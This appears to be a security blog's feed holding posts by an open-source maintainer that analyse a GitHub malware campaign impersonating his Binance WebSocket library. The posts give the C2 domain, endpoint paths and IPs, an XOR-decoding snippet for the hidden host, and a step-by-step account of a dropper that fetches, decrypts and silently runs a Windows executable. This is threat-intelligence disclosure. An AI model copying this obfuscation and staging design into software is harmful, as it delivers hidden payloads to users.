<p>They are not just repo clones, not just SEO abuse, and not just brand confusion. They are a working malware-delivery channel aimed at the kinds of users who are most likely to have valuable sessions, tokens, wallets, and developer credentials on the same machine.</p>
<p>If you maintain an open-source project, this is a good reminder to occasionally search for your own project name. Sometimes that is all it takes to find the beginning of a much larger problem.</p>
<hr />
<p>Follow me on <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a> and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a> to stay updated on my latest releases. Your constructive feedback is always appreciated!</p>
<p>Thank you for reading! ¯\_(ツ)_/¯</p>
]]></content:encoded></item><item><title><![CDATA[nailproxy.space: A Multi-Repository GitHub Malware Campaign]]></title><description><![CDATA[Update (2026-04-22, 13:33): I submitted this case to GitHub Support for campaign-level review. Ticket ID: 4313391.


Further update (2026-04-23): I published a deeper technical follow-up covering the ]]></description><link>https://blog.technopathy.club/nailproxy-space-github-malware-campaign</link><guid isPermaLink="true">https://blog.technopathy.club/nailproxy-space-github-malware-campaign</guid><category><![CDATA[Security]]></category><category><![CDATA[Malware]]></category><category><![CDATA[GitHub]]></category><category><![CDATA[Python]]></category><category><![CDATA[threat intelligence]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Wed, 22 Apr 2026 11:00:24 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/61a3b717-1e78-4976-914b-f0f43cd2820a.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p><strong>Update (2026-04-22, 13:33):</strong> I submitted this case to GitHub Support for campaign-level review. Ticket ID: <strong>4313391</strong>.</p>
</blockquote>
<blockquote>
<p><strong>Further update (2026-04-23):</strong> I published a deeper technical follow-up covering the delivery chain, loader behavior, and StealC-linked final-stage payload analysis.<br />Read: <a href="https://blog.technopathy.club/from-a-coffee-in-bed-google-search-to-a-stealc-linked-campaign-the-story-behind-nailproxy-space">From a coffee-in-bed Google search to a StealC-linked campaign — the story behind nailproxy.space</a></p>
</blockquote>
<blockquote>
<p><strong>TL;DR:</strong> What initially looked like a single fraudulent repository impersonating <strong>UNICORN Binance WebSocket API</strong> now appears to be part of a broader <strong>multi-repository GitHub malware campaign</strong>.<br />Across the currently confirmed set, the repositories share the same C2 infrastructure, the same staged Windows payload flow, the same deceptive repository framing, and the same manipulated-looking social proof patterns.<br />At the time of writing, I have <strong>19 confirmed repositories</strong> in scope. The list is likely incomplete.</p>
</blockquote>
<p>This post is a follow-up to my earlier write-up on the fraudulent repository impersonating UNICORN Binance WebSocket API:</p>
<ul>
<li><a href="https://blog.technopathy.club/security-warning-fraudulent-github-repository-impersonating-unicorn-binance-websocket-api">Security Warning: Fraudulent GitHub Repository Impersonating UNICORN Binance WebSocket API</a></li>
</ul>
<p>That first article focused on one repository. Further analysis shows that the UBWA-themed repository is very likely <strong>one lure inside a broader campaign</strong>.</p>
<h2>How This Started</h2>
<p>The starting point was a repository using the <strong>UNICORN-Binance-WebSocket-API</strong> name while the legitimate project is maintained separately through the official project channels:</p>
<ul>
<li><p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-websocket-api">Official GitHub repository: oliver-zehentleitner/unicorn-binance-websocket-api</a></p>
</li>
<li><p><a href="https://pypi.org/project/unicorn-binance-websocket-api/">Official PyPI package: unicorn-binance-websocket-api</a></p>
</li>
</ul>
<p>What initially made the fraudulent repository stand out was the mismatch between its visible development footprint and its public social proof. That led to a closer static review of the startup path, which in turn exposed staged Windows payload behavior.</p>
<p>From there, the obvious next question was:</p>
<blockquote>
<p>Is this an isolated repository, or part of something larger?</p>
</blockquote>
<p>The answer now appears to be: <strong>something larger</strong>.</p>
<h2>Campaign Summary</h2>
<p>Across the currently confirmed set, the repositories share several core properties:</p>
<ul>
<li><p>the same decoded C2 host</p>
</li>
<li><p>the same session and sync paths</p>
</li>
<li><p>the same staged Windows payload execution flow</p>
</li>
<li><p>the same deceptive facade pattern</p>
</li>
<li><p>the same or highly similar <code>utils/</code> module structure</p>
</li>
<li><p>the same repeated commit choreography</p>
</li>
<li><p>the same manipulated-looking star and fork behavior</p>
</li>
</ul>
<p>At the time of writing, I have <strong>19 confirmed repositories</strong> associated with this pattern.</p>
<h2>Shared Infrastructure</h2>
<p>The strongest campaign signal is the infrastructure overlap.</p>
<p>Across all confirmed samples I reviewed, the per-repository XOR-decoding logic in <code>utils/compat.py</code> resolves to the same endpoint:</p>
<pre><code class="language-text">https://api.nailproxy.space
</code></pre>
<p>The same repositories also use the same two application paths:</p>
<ul>
<li><p><code>POST /api/v1/auth/session</code></p>
</li>
<li><p><code>POST /api/v1/data/sync</code></p>
</li>
</ul>
<p>The visible code also contains the same DNS-bypass strategy and the same Windows-oriented fallback behavior.</p>
<h2>Deobfuscated Indicators</h2>
<p>The following values are relevant from a defensive and incident-response perspective:</p>
<ul>
<li><p><strong>C2 endpoint:</strong> <code>https://api.nailproxy.space</code></p>
</li>
<li><p><strong>Session path:</strong> <code>/api/v1/auth/session</code></p>
</li>
<li><p><strong>Sync path:</strong> <code>/api/v1/data/sync</code></p>
</li>
<li><p><strong>Hard-coded fallback IP:</strong> <code>104.21.0.1</code></p>
</li>
<li><p><strong>Additional IP present in pool:</strong> <code>172.67.0.1</code></p>
</li>
<li><p><strong>Transport fallback:</strong> <code>curl.exe --resolve</code></p>
</li>
<li><p><strong>Payload type:</strong> Windows PE (<code>MZ</code>)</p>
</li>
<li><p><strong>Temp prefix:</strong> <code>~DF</code></p>
</li>
<li><p><strong>Staged extension:</strong> <code>.exe</code></p>
</li>
<li><p><strong>Launch flag:</strong> <code>0x08000000</code> (<code>CREATE_NO_WINDOW</code>)</p>
</li>
</ul>
<p>These indicators are included as defensive context only.</p>
<h2>Shared Execution Flow</h2>
<p>The execution flow is consistent across the analyzed repositories.</p>
<p>In the UBWA-themed repository, the application entry point is decorated with <code>@ensure_env</code> in <code>main.py</code>, which means the environment bootstrap path executes immediately when the application starts.</p>
<p>A simplified version of the visible flow looks like this:</p>
<ol>
<li><p>Check operating system support and Python version.</p>
</li>
<li><p>Check whether the architecture is <code>x64</code> or <code>x86</code>.</p>
</li>
<li><p>Decode the remote endpoint from XOR-obfuscated byte arrays.</p>
</li>
<li><p>Request a session object from <code>/api/v1/auth/session</code>.</p>
</li>
<li><p>Sign the returned challenge using HMAC-SHA256.</p>
</li>
<li><p>Request an encrypted blob from <code>/api/v1/data/sync</code>.</p>
</li>
<li><p>Decrypt the blob with AES-GCM.</p>
</li>
<li><p>Hand the result to <code>bootstrap.apply()</code> in a daemon thread.</p>
</li>
<li><p>Stage the result as a Windows executable in temp.</p>
</li>
<li><p>Launch it without a visible window.</p>
</li>
<li><p>Delete the staged file afterward.</p>
</li>
</ol>
<p>The same overall structure appears in the other confirmed samples, even where lure topic, README framing, or facade modules differ.</p>
<h2>Shared Dropper Components</h2>
<p>One of the clearest signs that this is a campaign rather than unrelated copycats is the shared <code>utils/</code> structure.</p>
<p>The key modules are:</p>
<ul>
<li><p><code>utils/__init__.py</code></p>
</li>
<li><p><code>utils/bootstrap.py</code></p>
</li>
<li><p><code>utils/compat.py</code></p>
</li>
<li><p><code>utils/http.py</code></p>
</li>
<li><p><code>utils/integrity.py</code></p>
</li>
</ul>
<p>In the UBWA and TurnKey samples, four of these files are byte-identical:</p>
<ul>
<li><p><code>__init__.py</code></p>
</li>
<li><p><code>bootstrap.py</code></p>
</li>
<li><p><code>http.py</code></p>
</li>
<li><p><code>integrity.py</code></p>
</li>
</ul>
<p>Only <code>compat.py</code> differs, and that difference is narrow: the XOR key and encoded byte arrays vary per repository, but the decoded result still points to the same C2.</p>
<p>That strongly suggests a reusable generation pattern rather than hand-written independent tooling.</p>
<h2>Commit and Timing Pattern</h2>
<p>The commit history also shows repetition.</p>
<p>Across multiple repositories, the commit pattern follows the same sequence:</p>
<ol>
<li><p><code>Initial commit</code></p>
</li>
<li><p><code>Script release</code></p>
</li>
<li><p><code>Update README.md</code></p>
</li>
<li><p><code>Add files via upload</code></p>
</li>
</ol>
<p>The important part is the last step.</p>
<p>That final upload is where the malicious <code>utils/</code> path appears.</p>
<p>In the two repositories under <code>gesine1541ro7</code>, both repos were created within minutes of each other, and both received the malicious upload on the same day only minutes apart.</p>
<p>That is not what normal open-source iteration looks like.</p>
<p>It looks like <strong>batch preparation followed by staged weaponization</strong>.</p>
<h2>Social-Proof Manipulation</h2>
<p>The social-proof pattern is also highly unusual.</p>
<p>In the UBWA-themed repository:</p>
<ul>
<li><p><strong>816 total stars</strong></p>
</li>
<li><p><strong>607 stars on 2026-03-17</strong></p>
</li>
<li><p><strong>204 stars on 2026-03-18</strong></p>
</li>
</ul>
<p>That means <strong>811 of 816 stars</strong> arrived on two consecutive days, well after repository creation.</p>
<p>In the TurnKey sample:</p>
<ul>
<li><p><strong>83 total stars</strong></p>
</li>
<li><p><strong>82 stars on a single day</strong></p>
</li>
</ul>
<p>The fork pattern is equally suspicious.</p>
<p>The visible fork-owner names follow a repeated structure that looks machine-generated, and there is confirmed overlap between fork accounts across multiple campaign repositories.</p>
<p>That does not prove every single account is controlled by the same operator, but it is more than enough to treat the apparent popularity of these repositories as untrustworthy.</p>
<h2>Lure Diversity</h2>
<p>Another notable feature of the campaign is the range of lure topics.</p>
<p>The currently confirmed repositories include themes such as:</p>
<ul>
<li><p>Binance and crypto trading tools</p>
</li>
<li><p>Web3 airdrop or farming bots</p>
</li>
<li><p>GPT wrappers and jailbreak tools</p>
</li>
<li><p>OSINT tooling</p>
</li>
<li><p>fake CVE/security research tools</p>
</li>
<li><p>AI utility tools</p>
</li>
<li><p>cryptography-related libraries</p>
</li>
</ul>
<p>That is important because it shows the campaign is not narrowly focused on one brand or one audience.</p>
<p>The pattern is broader:</p>
<blockquote>
<p>use plausible developer-adjacent or trader-adjacent bait, attach a polished facade, then reuse the same malware delivery architecture underneath.</p>
</blockquote>
<h2>Confirmed Repository Set</h2>
<p>At the time of writing, I have <strong>19 confirmed repositories</strong> in scope:</p>
<ol>
<li><p><code>gesine1541ro7/UNICORN-Binance-WebSocket-API</code></p>
</li>
<li><p><code>gesine1541ro7/TurnKey-Auto-Bot</code></p>
</li>
<li><p><code>lucija8320nhung4/HacxGPT</code></p>
</li>
<li><p><code>MarCmcbri1982/KawaiiGPT</code></p>
</li>
<li><p><code>Kaleighc793/freqtrade-bot</code></p>
</li>
<li><p><code>Janis174756/Binance-Futures-Trading-Bot</code></p>
</li>
<li><p><code>lauraevz6y70/gnark-crypto</code></p>
</li>
<li><p><code>Jamie3t1991/BeraChainTools</code></p>
</li>
<li><p><code>FrankDavis236869/spyder-osint</code></p>
</li>
<li><p><code>CrystALqsxvk39/Python-Bitcoin-Utils</code></p>
</li>
<li><p><code>Courtneybake80/Polyseed-Monero</code></p>
</li>
<li><p><code>courtneyb8345/pharos-automation-bot</code></p>
</li>
<li><p><code>Della38840/Robinhood</code></p>
</li>
<li><p><code>charlo1492charlo14928/openfi-bot</code></p>
</li>
<li><p><code>Giuditta8/Uomi-Testnet</code></p>
</li>
<li><p><code>Jessica74016/CVE-2025-8088</code></p>
</li>
<li><p><code>fernandez81188studio/SORA2-Watermark-Remover</code></p>
</li>
<li><p><code>Annehuqr0Craft96/Mitosis-Farm</code></p>
</li>
<li><p><code>charlo1492charlo14928/NFT-Yield-Farming</code></p>
</li>
</ol>
<p>This list should be treated as a <strong>confirmed minimum</strong>, not a complete boundary.</p>
<h2>What Is Confirmed vs. What Is Likely</h2>
<p>It is important to separate what is directly supported from what is still inference.</p>
<h3>Confirmed</h3>
<ul>
<li><p>multiple repositories decode to the same C2 host</p>
</li>
<li><p>the same session and sync paths recur</p>
</li>
<li><p>the same staged Windows payload flow recurs</p>
</li>
<li><p>the same <code>utils/</code> architecture recurs</p>
</li>
<li><p>the same repeated commit pattern recurs</p>
</li>
<li><p>the same manipulated-looking star and fork patterns recur</p>
</li>
<li><p>fork-account overlap exists across campaign repositories</p>
</li>
</ul>
<h3>Likely, but still incomplete</h3>
<ul>
<li><p>the campaign is larger than the currently confirmed set</p>
</li>
<li><p>some account clusters are rotating identities used by the same operator or operator group</p>
</li>
<li><p>the visible star/fork activity is synthetic or purchased</p>
</li>
<li><p>the lure set is still expanding or can be regenerated on demand</p>
</li>
</ul>
<p>That distinction matters. It keeps the write-up grounded.</p>
<h2>Pycache and Build Fingerprint</h2>
<p>I also checked the committed <code>.pyc</code> files in the UBWA-themed repository.</p>
<p>They do <strong>not</strong> contain a hidden second-stage path that differs from the visible facade source. In other words, the malicious behavior is already present in the visible source path.</p>
<p>What is more interesting is the asymmetry:</p>
<ul>
<li><p>committed <code>__pycache__</code> exists for facade modules</p>
</li>
<li><p>no equivalent committed cache set was present for the malware-bearing <code>utils/</code> path in the UBWA sample</p>
</li>
</ul>
<p>That is not proof of workflow by itself, but it is consistent with a timeline in which the facade was developed or tested locally first, and the malware-bearing <code>utils/</code> path was introduced later.</p>
<h2>Why This Matters</h2>
<p>This matters for three reasons.</p>
<h3>1. It is an ecosystem trust problem</h3>
<p>This is not just about one repo name.</p>
<p>It is about abusing trust signals developers rely on:</p>
<ul>
<li><p>recognizable topics</p>
</li>
<li><p>polished READMEs</p>
</li>
<li><p>stars and forks</p>
</li>
<li><p>plausible project structures</p>
</li>
<li><p>familiar library ecosystems</p>
</li>
</ul>
<h3>2. It targets real user behavior</h3>
<p>The repositories are designed around realistic behavior:</p>
<ul>
<li><p>cloning code from GitHub</p>
</li>
<li><p>running <code>python main.py</code></p>
</li>
<li><p>launching via <code>run.bat</code></p>
</li>
<li><p>trusting a tool because it looks connected to a known project or topic</p>
</li>
</ul>
<h3>3. The lure themes are operationally smart</h3>
<p>The campaign does not depend on one niche. It spans trading, AI, crypto, automation, and developer tooling.</p>
<p>That is exactly how a scalable lure operation behaves.</p>
<h2>Recommended Response</h2>
<p>If you ran one of these repositories on Windows, I would treat the host as potentially compromised.</p>
<p>Recommended next steps:</p>
<ol>
<li><p>isolate the system</p>
</li>
<li><p>preserve evidence</p>
</li>
<li><p>review endpoint protection / EDR / antivirus telemetry</p>
</li>
<li><p>inspect recent process execution and temp-directory activity</p>
</li>
<li><p>review outbound connections</p>
</li>
<li><p>rotate potentially exposed credentials</p>
</li>
<li><p>revoke and recreate exchange/API credentials where relevant</p>
</li>
</ol>
<p>I would also strongly recommend reporting the relevant repositories and accounts to GitHub.</p>
<h2>Request for Independent Validation</h2>
<p>The current confirmed set is useful, but likely incomplete.</p>
<p>If others want to independently validate or extend this set using only public repository metadata and static source review, that additional confirmation would be valuable.</p>
<p>I am <strong>not</strong> asking anyone to interact with the infrastructure, execute the code, or probe the C2.</p>
<p>Useful contributions would be things like:</p>
<ul>
<li><p>confirming additional repositories that decode to the same C2</p>
</li>
<li><p>validating reuse of the same <code>utils/</code> architecture</p>
</li>
<li><p>checking for broader account overlap</p>
</li>
<li><p>identifying additional star/fork anomalies</p>
</li>
<li><p>correlating commit timing and upload choreography</p>
</li>
</ul>
<h2>Final Note</h2>
<p>The first fraudulent UBWA-themed repository was enough to justify a warning.</p>
<p>The broader pattern now justifies something stronger:</p>
<blockquote>
<p>this does not look like an isolated deceptive repository. It looks like a repeatable GitHub malware campaign using multiple lures, shared infrastructure, and manufactured trust signals.</p>
</blockquote>
<p>Open source depends on trust.</p>
<p>Campaigns like this are dangerous not only because they deliver payloads, but because they systematically erode the assumptions people make about what looks legitimate on public platforms.</p>
<hr />
<p>Follow me on <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a> and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a> to stay updated on my latest releases. Your constructive feedback is always appreciated!</p>
<p>Thank you for reading! ¯\_(ツ)_/¯</p>
]]></content:encoded></item><item><title><![CDATA[Security Warning: Fraudulent GitHub Repository Impersonating UNICORN Binance WebSocket API]]></title><description><![CDATA[Update (2026-04-22): Further analysis indicates that this fraudulent repository is likely one lure within a broader GitHub malware campaign.Across the currently confirmed set, multiple repositories sh]]></description><link>https://blog.technopathy.club/security-warning-fraudulent-github-repository-impersonating-unicorn-binance-websocket-api</link><guid isPermaLink="true">https://blog.technopathy.club/security-warning-fraudulent-github-repository-impersonating-unicorn-binance-websocket-api</guid><category><![CDATA[Security]]></category><category><![CDATA[Malware]]></category><category><![CDATA[GitHub]]></category><category><![CDATA[Python]]></category><category><![CDATA[binance]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Wed, 22 Apr 2026 08:19:20 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/e5fcff05-c154-431c-bf90-4122169b23ed.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p><strong>Update (2026-04-22):</strong> Further analysis indicates that this fraudulent repository is likely one lure within a broader GitHub malware campaign.<br />Across the currently confirmed set, multiple repositories share the same decoded C2 (<code>api.nailproxy.space</code>), the same staged Windows payload flow, similar <code>utils/</code> dropper architecture, repeated commit choreography, and manipulated-looking social proof.<br />Follow-up analysis: <a href="https://blog.technopathy.club/nailproxy-space-github-malware-campaign">nailproxy.space: A Multi-Repository GitHub Malware Campaign</a></p>
</blockquote>
<blockquote>
<p><strong>Further update (2026-04-23):</strong> I published a deeper follow-up on the delivery chain, loader, and StealC-linked final-stage behavior behind this campaign.<br />Read: <a href="https://blog.technopathy.club/from-a-coffee-in-bed-google-search-to-a-stealc-linked-campaign-the-story-behind-nailproxy-space">From a coffee-in-bed Google search to a StealC-linked campaign — the story behind nailproxy.space</a></p>
</blockquote>
<blockquote>
<p><strong>TL;DR:</strong> Do <strong>not</strong> clone or run <code>gesine1541ro7/UNICORN-Binance-WebSocket-API</code>.<br />Based on the public startup path, it stages and executes a hidden Windows PE payload at launch.<br />The legitimate project lives here: <a href="https://github.com/oliver-zehentleitner/unicorn-binance-websocket-api"><code>oliver-zehentleitner/unicorn-binance-websocket-api</code></a><br />Official package: <a href="https://pypi.org/project/unicorn-binance-websocket-api/"><code>unicorn-binance-websocket-api</code> on PyPI</a></p>
</blockquote>
<p>A GitHub repository using the name <strong>UNICORN-Binance-WebSocket-API</strong> is not a legitimate UBWA console, clone, or community wrapper.</p>
<p>After reviewing the public repository contents, my assessment is:</p>
<blockquote>
<p><strong>This is a fraudulent repository impersonating the UNICORN Binance WebSocket API project while using a fake Binance console narrative as cover for staged Windows payload execution.</strong></p>
</blockquote>
<p>This post documents what I observed, why I consider it malicious, and what I am doing next.</p>
<h2>Why I Looked at It</h2>
<p>I maintain the legitimate <strong>UNICORN Binance WebSocket API</strong> project through the official project channels:</p>
<ul>
<li><p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-websocket-api">Official GitHub repository: oliver-zehentleitner/unicorn-binance-websocket-api</a></p>
</li>
<li><p><a href="https://pypi.org/project/unicorn-binance-websocket-api/">Official PyPI package: unicorn-binance-websocket-api</a></p>
</li>
</ul>
<p>The repository I analyzed is this one:</p>
<ul>
<li><a href="https://github.com/gesine1541ro7/UNICORN-Binance-WebSocket-API">Fraudulent repository: gesine1541ro7/UNICORN-Binance-WebSocket-API</a></li>
</ul>
<p>What initially stood out was not just the reused project name, but also the mismatch between its visible development footprint and its social proof.</p>
<p>At the time of writing, the repository publicly shows:</p>
<ul>
<li><p><strong>816 stars</strong></p>
</li>
<li><p><strong>453 forks</strong></p>
</li>
<li><p><strong>0 issues</strong></p>
</li>
<li><p><strong>0 pull requests</strong></p>
</li>
<li><p><strong>1 contributor</strong></p>
</li>
<li><p><strong>4 commits</strong></p>
</li>
</ul>
<p>That profile is highly unusual for a repository with such limited visible activity.</p>
<p>Another detail that stood out early is the mismatch between the reported fork count and the practically empty-looking public fork surface. Combined with the naming patterns I observed on visible fork-owner accounts, that makes the social proof look even less credible.</p>
<h2>This Is Not a UBWA Console</h2>
<p>On the surface, the repository presents itself as a Python-based Binance streaming console. Its README describes it as an interactive console for real-time market data streaming using the <code>unicorn-binance-websocket-api</code> library.</p>
<p>That framing is deceptive.</p>
<p>This repository is <strong>not</strong> the official UBWA project. It is also not a harmless console wrapper in any meaningful sense. The console story functions as camouflage around the real startup behavior.</p>
<p>The observable code path shows that the project’s real purpose is not interactive Binance tooling. Its meaningful behavior happens immediately at launch and leads into remote retrieval, decryption, staging, and execution of a Windows payload.</p>
<h2>What I Observed in the Startup Path</h2>
<p>The critical behavior starts at program launch.</p>
<p>In <code>main.py</code>, the <code>main()</code> entry point is decorated with <code>@ensure_env</code>:</p>
<pre><code class="language-python">@ensure_env
def main():
</code></pre>
<p>That matters because <code>ensure_env</code> from <code>utils/__init__.py</code> is executed <strong>on the very first invocation of the TUI</strong> — before the user makes any menu selection.</p>
<h3>Execution Flow in <code>utils/__init__.py::_init()</code></h3>
<p>Based on the visible code path, <code>_init()</code> performs the following sequence:</p>
<ol>
<li><p>OS check (<code>win32</code> / <code>linux</code> / <code>darwin</code>) and Python version check (≥ 3.8).</p>
</li>
<li><p>Architecture check: <code>arch_label()</code> must return <code>x64</code> or <code>x86</code>, otherwise the code returns early.</p>
</li>
<li><p>Remote endpoint construction using XOR-obfuscated strings from <code>compat.py</code>.</p>
</li>
<li><p>HTTP handshake to <code>POST /api/v1/auth/session</code> to obtain session data such as <code>{nonce, ts}</code>.</p>
</li>
<li><p>HMAC-SHA256 signing of the returned challenge data.</p>
</li>
<li><p><code>POST /api/v1/data/sync</code> with the derived signature to retrieve an encrypted payload.</p>
</li>
<li><p>AES-GCM decryption of the returned blob.</p>
</li>
<li><p>Handoff of the decrypted blob to <code>bootstrap.apply()</code> in a background daemon thread.</p>
</li>
</ol>
<p>That is not normal behavior for a Binance console.</p>
<h2>Payload Staging and Execution</h2>
<p>The strongest signal appears in <code>utils/bootstrap.py</code>.</p>
<h3><code>utils/bootstrap.py::apply()</code></h3>
<p>Based on the exposed code path, the bootstrap routine:</p>
<ul>
<li><p>expects magic bytes <code>MZ</code>, the classic header of a Windows PE executable</p>
</li>
<li><p>writes the blob into the system temp directory</p>
</li>
<li><p>uses a temp prefix resembling Office-style lock artifacts</p>
</li>
<li><p>renames the file to <code>.exe</code></p>
</li>
<li><p>starts it with <code>creationflags=0x08000000</code> (<code>CREATE_NO_WINDOW</code>)</p>
</li>
<li><p>waits for process completion</p>
</li>
<li><p>removes the staged file afterward</p>
</li>
</ul>
<p>In plain language:</p>
<blockquote>
<p><strong>the Python application retrieves, stages, and silently executes a Windows executable payload</strong></p>
</blockquote>
<p>This is the core reason I consider the repository malicious and fraudulent.</p>
<h2>Platform Targeting</h2>
<p>The visible logic suggests that <strong>Windows x86/x64 users are the likely target</strong>.</p>
<p>The code path checks the architecture label and only proceeds with the suspicious bootstrap flow for <code>x64</code> and <code>x86</code>. The bootstrap logic itself also contains an operating system check that avoids executing the payload path on non-Windows systems.</p>
<p>That means Linux, macOS, and ARM-based environments may see relatively harmless behavior, while Windows users are exposed to the actual payload flow.</p>
<p>From an attacker perspective, that is an effective way to reduce suspicion during casual review.</p>
<h2>Technical Details</h2>
<h3>Hidden Trigger Before Any Real Use</h3>
<p>One of the more important details here is not just <em>what</em> the code does, but <em>when</em> it does it.</p>
<p>The suspicious flow is not hidden behind a rare feature, a debug mode, or a later menu action. It is tied directly to the application start through the decorator on <code>main()</code>.</p>
<p>That means a user can be exposed simply by running:</p>
<pre><code class="language-bash">python main.py
</code></pre>
<p>No meaningful interaction is required.</p>
<h3>Deobfuscated Endpoint</h3>
<p>The endpoint is not stored as a plain string. It is built from byte arrays in <code>utils/compat.py</code> and XOR-decoded at runtime.</p>
<p>A simplified reconstruction looks like this:</p>
<pre><code class="language-python"># From utils/compat.py
_API_SCHEMA = bytes([0xAA, 0xB6, 0xB6, 0xB2, 0xB1])
_API_HOST   = bytes([0xF8, 0xED, 0xED, 0xA3, 0xB2, 0xAB, 0xEC])
_API_DOMAIN = bytes([0xAC, 0xA3, 0xAB, 0xAE, 0xB2, 0xB0])
_API_TLD    = bytes([0xAD, 0xBA, 0xBB, 0xEC, 0xB1, 0xB2, 0xA3, 0xA1, 0xA7])
_COMPAT_LEVEL = 194  # 0xC2

raw = _API_SCHEMA + _API_HOST + _API_DOMAIN + _API_TLD
ep = bytes(b ^ 0xC2 for b in raw).decode()
# -&gt; "https://api.nailproxy.space"
</code></pre>
<p>That is not something a legitimate Binance TUI would normally need to hide.</p>
<h3>Encryption / Decryption Path</h3>
<p>Another detail that makes this stand out is the decryption implementation.</p>
<p>The visible logic uses AES-GCM to decrypt the fetched payload. It also appears to include a Windows-specific fallback path using <code>bcrypt.dll</code> if the Python <code>cryptography</code> package is not available.</p>
<p>That matters because it reduces friction for execution. In other words, the suspicious flow does not appear to depend on a clean Python package environment in order to decrypt and continue.</p>
<h3>File Staging Behavior</h3>
<p>The bootstrap stage writes the decrypted blob into the temp directory, then renames it from a temporary filename to an executable filename before starting it.</p>
<p>The observed pattern is notable for two reasons:</p>
<ul>
<li><p>the temporary prefix appears designed to look innocuous</p>
</li>
<li><p>the process is launched without a visible window</p>
</li>
</ul>
<p>Combined with cleanup behavior after execution, this is consistent with staged payload delivery rather than normal application behavior.</p>
<h2>Deobfuscated Indicators</h2>
<p>The following values are relevant from a defensive and incident-response perspective:</p>
<table>
<thead>
<tr>
<th>Artifact</th>
<th>Value</th>
</tr>
</thead>
<tbody><tr>
<td>C2 endpoint</td>
<td><code>https://api.nailproxy.space</code></td>
</tr>
<tr>
<td>Session path</td>
<td><code>/api/v1/auth/session</code></td>
</tr>
<tr>
<td>Sync path</td>
<td><code>/api/v1/data/sync</code></td>
</tr>
<tr>
<td>DNS-related IP in code</td>
<td><code>104.21.0.1</code></td>
</tr>
<tr>
<td>Additional IP present in pool</td>
<td><code>172.67.0.1</code></td>
</tr>
<tr>
<td>Payload type</td>
<td>Windows PE (<code>MZ</code>)</td>
</tr>
<tr>
<td>Temp prefix</td>
<td><code>~DF</code></td>
</tr>
<tr>
<td>Staged extension</td>
<td><code>.exe</code></td>
</tr>
</tbody></table>
<p>These indicators should be handled as defensive context, not as operational instructions.</p>
<h2>Pycache Analysis</h2>
<p>The repository also contains committed <code>.pyc</code> files under <code>__pycache__/</code>, which is unusual for a small public Python project of this kind.</p>
<p>I decompiled the committed bytecode to determine whether the cached bytecode differed from the visible Python source.</p>
<h3>Result</h3>
<ul>
<li><p>the committed <code>.pyc</code> files are benign in the narrow sense that they match the visible <code>.py</code> files</p>
</li>
<li><p>I found no hidden second-stage logic in those committed cache files</p>
</li>
<li><p>the malicious behavior is already present in the visible source path</p>
</li>
</ul>
<p>That result is useful because it rules out one obvious alternative explanation.</p>
<p>The repository is not “harmless in source, malicious only in cache.” The visible source itself is already enough to justify the assessment above.</p>
<h3>Additional Observation</h3>
<p>There is no <code>__pycache__</code> for the <code>utils/</code> malware-related module path.</p>
<p>That is interesting from a timeline perspective.</p>
<p>A plausible interpretation is that the attacker first worked on the visible facade, and the malicious <code>utils/</code> path was introduced later and pushed without a corresponding committed cache set. I cannot prove that sequencing from this fact alone, but it is consistent with staged repository preparation rather than an ordinary Python project history.</p>
<h2>Obfuscation and Presentation</h2>
<p>Another reason this repository is concerning is how normal it tries to look.</p>
<p>The repository metadata also raises a separate trust problem: GitHub reports a very high fork count, while the visible fork surface appears disproportionately thin. I cannot fully prove the provenance of those forks from public metadata alone, but the mismatch is one more reason not to treat the repository’s apparent popularity as organic.</p>
<p>The project includes:</p>
<ul>
<li><p>a polished README</p>
</li>
<li><p>a plausible Binance/TUI story</p>
</li>
<li><p>generic utility module names like <code>compat</code>, <code>http</code>, <code>integrity</code>, and <code>bootstrap</code></p>
</li>
<li><p>normal-looking comments and docstrings</p>
</li>
<li><p>exception swallowing through debug logging rather than user-visible failures</p>
</li>
</ul>
<p>Taken together, this does not look accidental.</p>
<p>It looks like a repository designed to appear legitimate long enough for a user to trust it.</p>
<h2>Why This Matters Beyond One Repository</h2>
<p>This is not only about name confusion.</p>
<p>It is about trust boundaries.</p>
<p>If a malicious repository can borrow the identity of a known project, accumulate artificial-looking credibility, and trigger hidden execution at startup, then the attack is not just on one maintainer. It is an attack on the trust model developers and users rely on when selecting tools.</p>
<p>This is also related to a broader security lesson I discussed in an earlier Binance API case study:</p>
<ul>
<li><a href="https://blog.technopathy.club/when-ip-whitelisting-isn-t-what-it-seems-a-real-world-case-study-from-the-binance-api">When IP Whitelisting Isn’t What It Seems: A Real-World Case Study from the Binance API</a></li>
</ul>
<p>That earlier case was about false security assumptions around trust boundaries. This case is different in implementation, but similar in principle: users often assume they are protected by a boundary that turns out to be weaker than expected.</p>
<p>A compromised workstation can make those assumptions much more dangerous.</p>
<h2>What I Verified</h2>
<p>The following points are directly supported by the public repository and GitHub interface at the time of writing:</p>
<ul>
<li><p>A public repository exists under the name <code>gesine1541ro7/UNICORN-Binance-WebSocket-API</code>.</p>
</li>
<li><p>It publicly shows <strong>816 stars</strong>, <strong>453 forks</strong>, <strong>0 issues</strong>, <strong>0 pull requests</strong>, <strong>1 contributor</strong>, and <strong>4 commits</strong>.</p>
</li>
<li><p>Its README presents it as a Binance streaming console using the <code>unicorn-binance-websocket-api</code> library.</p>
</li>
<li><p>Its entry point decorates <code>main()</code> with <code>@ensure_env</code>.</p>
</li>
<li><p>The visible startup path performs a remote session flow, challenge signing, encrypted blob retrieval, decryption, and handoff to a bootstrap routine.</p>
</li>
<li><p>The visible bootstrap routine stages and launches a Windows PE executable.</p>
</li>
<li><p>The committed <code>.pyc</code> files match the visible <code>.py</code> files and do not introduce a separate hidden payload path.</p>
</li>
<li><p>GitHub provides an official abuse reporting path for active malware or exploits.</p>
</li>
</ul>
<h2>Activity Log</h2>
<p><strong>2026-04-22</strong></p>
